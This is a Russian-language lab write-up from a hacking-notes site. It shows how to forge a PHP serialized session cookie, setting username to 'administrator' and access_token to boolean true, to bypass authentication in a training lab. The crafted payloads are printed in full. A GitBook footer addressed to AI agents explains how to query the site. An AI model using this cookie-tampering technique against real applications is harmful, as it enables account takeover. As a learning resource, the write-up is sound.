> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/deserialization/changing-serialized-data-types.md).

# Изменение типов сериализованных данных

### Изменение типов сериализованных данных

**Цель лабораторной работы**

В этой лабораторной работе используется механизм сессий на основе сериализации и присутствует уязвимость, позволяющая обойти аутентификацию. / Цель — изменить сериализованный объект, содержащийся в cookie сессии, чтобы получить доступ к \*\*учетной записи администратора\*\*, а затем удалить пользователя **carlos**.

**Первоначальный доступ**

Вы можете подключиться, используя следующие учетные данные:

* **Пользователь**: `wiener`
* **Пароль**: `peter`

После подключения сервер возвращает cookie сессии, содержащую сериализованный объект, закодированный в Base64.

**Полученная cookie сессии**

Cookie сессии имеет следующее значение:

{% code overflow="wrap" %}

```bash
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJybWNjYzI1MzQwcnMyMXF4bnptd2c0ZGd6c2FsZGo1dyI7fQ%3d%3d
```

{% endcode %}

**Базовое декодирование64**

После декодирования получается следующий сериализованный объект PHP:

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"rmccc25340rs21qxnzmwg4dgzsaldj5w";}%3d%3d
```

{% endcode %}

Этот объект представляет собой экземпляр `Пользователь` класса с двумя свойствами:

* `username`
* `access_token`

**Анализ поведения**

* Если `access_token` Если символ изменён, сервер возвращает ошибку, что указывает на то, что это поле обычно проверяется.
* У `username` поле используется для определения роли пользователя.

<figure><img src="/files/2a50c814126bff99cf5ca2caf5544569c2215e1d" alt=""><figcaption></figcaption></figure>

**Эксплуатация уязвимости**

**Изменённое имя пользователя**/ Значение `username` заменяется на `administrator` путём корректной настройки длины строки (`s:13`).

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";s:32:"rmccc25340rs21qxnzmwg4dgzsaldj5w";}%3d%3d
```

{% endcode %}

**Изменение типа данных токена**/ Вместо предоставления строкового типа `access_token` (`строка`), его тип изменяется на логический (`b:1`, что эквивалентно `true`).

Итоговый сериализованный объект:

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";b:1;}%3d%3d
```

{% endcode %}

После повторного кодирования в Base64 и вставки в cookie сессии сервер принимает объект, не проверяя корректно тип токена.

Затем приложение считает сессию действительной для пользователя **administrator**.

<figure><img src="/files/1db1e89bf09854ecd82578af388230f5398e7191" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/deserialization/changing-serialized-data-types.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
